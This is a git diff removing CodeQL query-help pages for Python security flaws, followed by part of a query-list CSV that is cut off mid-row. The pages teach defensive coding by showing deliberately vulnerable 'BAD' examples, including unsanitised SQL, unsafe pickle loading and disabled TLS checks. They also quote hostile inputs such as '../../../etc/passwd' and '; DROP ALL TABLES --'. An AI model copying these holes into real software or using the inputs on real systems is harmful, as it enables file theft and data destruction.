Paramiko - -``` -ID: py/paramiko-missing-host-key-validation -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/MissingHostKeyValidation.ql) - -In the Secure Shell (SSH) protocol, host keys are used to verify the identity of remote hosts. Accepting unknown host keys may leave the connection open to man-in-the-middle attacks. - - -## Recommendation -Do not accept unknown host keys. In particular, do not set the default missing host key policy for the Paramiko library to either `AutoAddPolicy` or `WarningPolicy`. Both of these policies continue even when the host key is unknown. The default setting of `RejectPolicy` is secure because it throws an exception when it encounters an unknown host key. - - -## Example -The following example shows two ways of opening an SSH connection to `example.com`. The first function sets the missing host key policy to `AutoAddPolicy`. If the host key verification fails, the client will continue to interact with the server, even though the connection may be compromised. The second function sets the host key policy to `RejectPolicy`, and will throw an exception if the host key verification fails. - - -```python -from paramiko.client import SSHClient, AutoAddPolicy, RejectPolicy - -def unsafe_connect(): - client = SSHClient() - client.set_missing_host_key_policy(AutoAddPolicy) - client.connect("example.com") - - # ... interaction with server - - client.close() - -def safe_connect(): - client = SSHClient() - client.set_missing_host_key_policy(RejectPolicy) - client.connect("example.com") - - # ... interaction with server - - client.close() - -``` - -## References -* Paramiko documentation: [set_missing_host_key_policy](http://docs.paramiko.org/en/2.4/api/client.html?highlight=set_missing_host_key_policy#paramiko.client.SSHClient.set_missing_host_key_policy). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/PathInjection.md b/docs/language/query-help/python/PathInjection.md deleted file mode 100644 index 779888e6796..00000000000 --- a/docs/language/query-help/python/PathInjection.md +++ /dev/null @@ -1,81 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: py/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/PathInjection.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library function like `werkzeug.utils.secure_filename`, or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use an allowlist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name that is an absolute path, such as `"/etc/passwd"`. - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../../etc/passwd"` will result in the code reading the file located at `"/server/static/images/../../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - -In the third example, the path used to access the file system is normalized *before* being checked against a known prefix. This ensures that regardless of the user input, the resulting path is safe. - - -```python -import os.path - - -urlpatterns = [ - # Route to user_picture - url(r'^user-pic1$', user_picture1, name='user-picture1'), - url(r'^user-pic2$', user_picture2, name='user-picture2'), - url(r'^user-pic3$', user_picture3, name='user-picture3') -] - - -def user_picture1(request): - """A view that is vulnerable to malicious file access.""" - filename = request.GET.get('p') - # BAD: This could read any file on the file system - data = open(filename, 'rb').read() - return HttpResponse(data) - -def user_picture2(request): - """A view that is vulnerable to malicious file access.""" - base_path = '/server/static/images' - filename = request.GET.get('p') - # BAD: This could still read any file on the file system - data = open(os.path.join(base_path, filename), 'rb').read() - return HttpResponse(data) - -def user_picture3(request): - """A view that is not vulnerable to malicious file access.""" - base_path = '/server/static/images' - filename = request.GET.get('p') - #GOOD -- Verify with normalised version of path - fullpath = os.path.normpath(os.path.join(base_path, filename)) - if not fullpath.startswith(base_path): - raise SecurityException() - data = open(fullpath, 'rb').read() - return HttpResponse(data) - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* npm: [werkzeug.utils.secure_filename](http://werkzeug.pocoo.org/docs/utils/#werkzeug.utils.secure_filename). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/python/ReflectedXss.md b/docs/language/query-help/python/ReflectedXss.md deleted file mode 100644 index e93e6cc8f9c..00000000000 --- a/docs/language/query-help/python/ReflectedXss.md +++ /dev/null @@ -1,46 +0,0 @@ -# Reflected server-side cross-site scripting - -``` -ID: py/reflective-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider escaping the input before writing user input to the page. The standard library provides escaping functions: `html.escape()` for Python 3.2 upwards or `cgi.escape()` older versions of Python. Most frameworks also provide their own escaping functions, for example `flask.escape()`. - - -## Example -The following example is a minimal flask app which shows a safe and unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. - - -```python -from flask import Flask, request, make_response, escape - -app = Flask(__name__) - -@app.route('/unsafe') -def unsafe(): - first_name = request.args.get('name', '') - return make_response("Your name is " + first_name) - -@app.route('/safe') -def safe(): - first_name = request.args.get('name', '') - return make_response("Your name is " + escape(first_name)) - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Python Library Reference: [html.escape()](https://docs.python.org/3/library/html.html#html.escape). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/RequestWithoutValidation.md b/docs/language/query-help/python/RequestWithoutValidation.md deleted file mode 100644 index b43b8c1d784..00000000000 --- a/docs/language/query-help/python/RequestWithoutValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Request without certificate validation - -``` -ID: py/request-without-cert-validation -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql) - -Encryption is key to the security of most, if not all, online communication. Using Transport Layer Security (TLS) can ensure that communication cannot be interrupted by an interloper. For this reason, is is unwise to disable the verification that TLS provides. Functions in the `requests` module provide verification by default, and it is only when explicitly turned off using `verify=False` that no verification occurs. - - -## Recommendation -Never use `verify=False` when making a request. - - -## Example -The example shows two unsafe calls to [semmle.com](https://semmle.com), followed by various safe alternatives. - - -```python -import requests - -#Unsafe requests - -requests.get('https://semmle.com', verify=False) # UNSAFE -requests.get('https://semmle.com', verify=0) # UNSAFE - -#Various safe options - -requests.get('https://semmle.com', verify=True) # Explicitly safe -requests.get('https://semmle.com', verify="/path/to/cert/") -requests.get('https://semmle.com') # The default is to verify. - -#Wrapper to ensure safety - -def make_safe_request(url, verify_cert): - if not verify_cert: - raise Exception("Trying to make unsafe request") - return requests.get(url, verify_cert) - -``` - -## References -* Python requests documentation: [SSL Cert Verification](http://docs.python-requests.org/en/master/user/advanced/#ssl-cert-verification). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/SqlInjection.md b/docs/language/query-help/python/SqlInjection.md deleted file mode 100644 index f51e97e3f5a..00000000000 --- a/docs/language/query-help/python/SqlInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# SQL query built from user-controlled sources - -``` -ID: py/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 external/owasp/owasp-a1 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a user may be able to run malicious database queries. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. - - -## Example -In the following snippet, a user is fetched from the database using three different queries. - -In the first case, the query string is built by directly using string formatting from a user-supplied request parameter. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. - -In the second case, the user-supplied request attribute is passed to the database using query parameters. The database connector library will take care of escaping and inserting quotes as needed. - -In the third case, the placeholder in the SQL string has been manually quoted. Since most databaseconnector libraries will insert their own quotes, doing so yourself will make the code vulnerable to SQL injection attacks. In this example, if `username` was `; DROP ALL TABLES -- `, the final SQL query would be `SELECT * FROM users WHERE username = ''; DROP ALL TABLES -- ''` - - -```python -from django.conf.urls import url -from django.db import connection - - -def show_user(request, username): - with connection.cursor() as cursor: - # BAD -- Using string formatting - cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) - user = cursor.fetchone() - - # GOOD -- Using parameters - cursor.execute("SELECT * FROM users WHERE username = %s", username) - user = cursor.fetchone() - - # BAD -- Manually quoting placeholder (%s) - cursor.execute("SELECT * FROM users WHERE username = '%s'", username) - user = cursor.fetchone() - -urlpatterns = [url(r'^users/(?P[^/]+)$', show_user)] - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/python/StackTraceExposure.md b/docs/language/query-help/python/StackTraceExposure.md deleted file mode 100644 index 870358de269..00000000000 --- a/docs/language/query-help/python/StackTraceExposure.md +++ /dev/null @@ -1,58 +0,0 @@ -# Information exposure through an exception - -``` -ID: py/stack-trace-exposure -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by returning it from the function. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server, and a generic error message is displayed to the user. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```python -from flask import Flask -app = Flask(__name__) - - -import traceback - -def do_computation(): - raise Exception("Secret info") - -# BAD -@app.route('/bad') -def server_bad(): - try: - do_computation() - except Exception as e: - return traceback.format_exc() - -# GOOD -@app.route('/good') -def server_good(): - try: - do_computation() - except Exception as e: - log(traceback.format_exc()) - return "An internal error has occurred!" - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/python/TarSlip.md b/docs/language/query-help/python/TarSlip.md deleted file mode 100644 index 49302e266e7..00000000000 --- a/docs/language/query-help/python/TarSlip.md +++ /dev/null @@ -1,62 +0,0 @@ -# Arbitrary file write during tarfile extraction - -``` -ID: py/tarslip -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/TarSlip.ql) - -Extracting files from a malicious tar archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Tar archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a tar archive contains a file entry `..\sneaky-file`, and the tar archive is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from tar archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a tar archive entry is to check that `".."` does not occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.tar` contained relative paths (for instance, if it were created by something like `tar -cf archive.tar ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```python - -import tarfile - -with tarfile.open('archive.zip') as tar: - #BAD : This could write any file on the filesystem. - for entry in tar: - tar.extract(entry, "/tmp/unpack/") - -``` -To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. - - -```python - -import tarfile -import os.path - -with tarfile.open('archive.zip') as tar: - for entry in tar: - #GOOD: Check that entry is safe - if os.path.isabs(entry.name) or ".." in entry.name: - raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Python Library Reference: [TarFile.extract](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extract). -* Python Library Reference: [TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UnsafeDeserialization.md b/docs/language/query-help/python/UnsafeDeserialization.md deleted file mode 100644 index fa1ef536279..00000000000 --- a/docs/language/query-help/python/UnsafeDeserialization.md +++ /dev/null @@ -1,59 +0,0 @@ -# Deserializing untrusted input - -``` -ID: py/unsafe-deserialization -Kind: path-problem -Severity: error -Precision: high -Tags: external/cwe/cwe-502 security serialization - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. - -There are many different serialization frameworks. This query currently supports Pickle, Marshal and Yaml. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON. - - -## Example -The following example calls `pickle.loads` directly on a value provided by an incoming HTTP request. Pickle then creates a new value from untrusted data, and is therefore inherently unsafe. - - -```python - -from django.conf.urls import url -import pickle - -def unsafe(pickled): - return pickle.loads(pickled) - -urlpatterns = [ - url(r'^(?P.*)$', unsafe) -] -``` -Changing the code to use `json.loads` instead of `pickle.loads` removes the vulnerability. - - -```python - -from django.conf.urls import url -import json - -def safe(pickled): - return json.loads(pickled) - -urlpatterns = [ - url(r'^(?P.*)$', safe) -] - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/) -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UrlRedirect.md b/docs/language/query-help/python/UrlRedirect.md deleted file mode 100644 index 46acb9427a6..00000000000 --- a/docs/language/query-help/python/UrlRedirect.md +++ /dev/null @@ -1,57 +0,0 @@ -# URL redirection from remote source - -``` -ID: py/url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```python -from flask import Flask, request, redirect - -app = Flask(__name__) - -@app.route('/') -def hello(): - target = request.args.get('target', '') - return redirect(target, code=302) - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```python -from flask import Flask, request, redirect - -VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html" - -app = Flask(__name__) - -@app.route('/') -def hello(): - target = request.args.get('target', '') - if target == VALID_REDIRECT: - return redirect(target, code=302) - else: - ... # Error - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UseofInput.md b/docs/language/query-help/python/UseofInput.md deleted file mode 100644 index aa92bf56fee..00000000000 --- a/docs/language/query-help/python/UseofInput.md +++ /dev/null @@ -1,22 +0,0 @@ -# 'input' function used in Python 2 - -``` -ID: py/use-of-input -Kind: problem -Severity: error -Precision: high -Tags: security correctness - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Expressions/UseofInput.ql) - -In Python 2, a call to the `input()` function, `input(prompt)` is equivalent to `eval(raw_input(prompt))`. Evaluating user input without any checking can be a serious security flaw. - - -## Recommendation -Get user input with `raw_input(prompt)` and then validate that input before evaluating. If the expected input is a number or string, then `ast.literal_eval()` can always be used safely. - - -## References -* Python Standard Library: [input](http://docs.python.org/2/library/functions.html#input), [ast.literal_eval](http://docs.python.org/2/library/ast.html#ast.literal_eval). -* Wikipedia: [Data validation](http://en.wikipedia.org/wiki/Data_validation). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakCrypto.md b/docs/language/query-help/python/WeakCrypto.md deleted file mode 100644 index 27b8e1980cd..00000000000 --- a/docs/language/query-help/python/WeakCrypto.md +++ /dev/null @@ -1,28 +0,0 @@ -# Use of weak cryptographic key - -``` -ID: py/weak-crypto-key -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-326 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-326/WeakCrypto.ql) - -Modern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger. - -The three main asymmetric key algorithms currently in use are RivestShamirAdleman (RSA) cryptography, Digital Signature Algorithm (DSA), and Elliptic-curve cryptography (ECC). With current technology, key sizes of 2048 bits for RSA and DSA, or 224 bits for ECC, are regarded as unbreakable. - - -## Recommendation -Increase the key size to the recommended amount or larger. For RSA or DSA this is at least 2048 bits, for ECC this is at least 224 bits. - - -## References -* Wikipedia: [Digital Signature Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). -* Wikipedia: [RSA cryptosystem](https://en.wikipedia.org/wiki/RSA_(cryptosystem)). -* Wikipedia: [Elliptic-curve cryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography). -* Python cryptography module: [cryptography.io](https://cryptography.io/en/latest/). -* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakFilePermissions.md b/docs/language/query-help/python/WeakFilePermissions.md deleted file mode 100644 index 268e558dbf0..00000000000 --- a/docs/language/query-help/python/WeakFilePermissions.md +++ /dev/null @@ -1,22 +0,0 @@ -# Overly permissive file permissions - -``` -ID: py/overly-permissive-file -Kind: problem -Severity: warning -Precision: medium -Tags: external/cwe/cwe-732 security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-732/WeakFilePermissions.ql) - -When creating a file, POSIX systems allow permissions to be specified for owner, group and others separately. Permissions should be kept as strict as possible, preventing access to the files contents by other users. - - -## Recommendation -Restrict the file permissions of files to prevent any but the owner being able to read or write to that file - - -## References -* Wikipedia: [File system permissions](https://en.wikipedia.org/wiki/File_system_permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/query-lists/query-list.csv b/docs/language/query-help/query-lists/query-list.csv deleted file mode 100644 index 63d5fd3e231..00000000000 --- a/docs/language/query-help/query-lists/query-list.csv +++ /dev/null @@ -1,196 +0,0 @@ -Query filename,Suite,Query name,Query ID,Kind,Severity,Precision,Tags -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,code-scanning,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,code-scanning,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,code-scanning,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,code-scanning,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,code-scanning,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,code-scanning,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,code-scanning,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,code-scanning,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,code-scanning,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,code-scanning,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,code-scanning,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,code-scanning,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,code-scanning,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 -ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,code-scanning,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,code-scanning,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,code-scanning,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,code-scanning,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,code-scanning,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,code-scanning,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,code-scanning,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,code-scanning,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,code-scanning,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,code-scanning,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,code-scanning,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,code-scanning,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,code-scanning,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,code-scanning,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 -ql\cpp\ql\src\Best Practices\BlockWithTooManyStatements.ql,security-and-quality,Block with too many statements,cpp/complex-block,problem,recommendation,high,testability readability maintainability -ql\cpp\ql\src\Best Practices\ComplexCondition.ql,security-and-quality,Complex condition,cpp/complex-condition,problem,recommendation,high,testability readability maintainability statistical non-attributable -ql\cpp\ql\src\Best Practices\Exceptions\AccidentalRethrow.ql,security-and-quality,Accidental rethrow,cpp/rethrow-no-exception,problem,warning,high,reliability correctness exceptions -ql\cpp\ql\src\Best Practices\Exceptions\CatchingByValue.ql,security-and-quality,Catching by value,cpp/catch-by-value,problem,warning,very-high,efficiency correctness exceptions -ql\cpp\ql\src\Best Practices\Exceptions\LeakyCatch.ql,security-and-quality,Leaky catch,cpp/catch-missing-free,problem,warning,high,efficiency correctness exceptions external/cwe/cwe-401 -ql\cpp\ql\src\Best Practices\Exceptions\ThrowingPointers.ql,security-and-quality,Throwing pointers,cpp/throwing-pointer,problem,warning,high,efficiency correctness exceptions -ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesParameter.ql,security-and-quality,Declaration hides parameter,cpp/declaration-hides-parameter,problem,recommendation,very-high,maintainability readability -ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesVariable.ql,security-and-quality,Declaration hides variable,cpp/declaration-hides-variable,problem,recommendation,high,maintainability readability -ql\cpp\ql\src\Best Practices\Hiding\LocalVariableHidesGlobalVariable.ql,security-and-quality,Local variable hides global 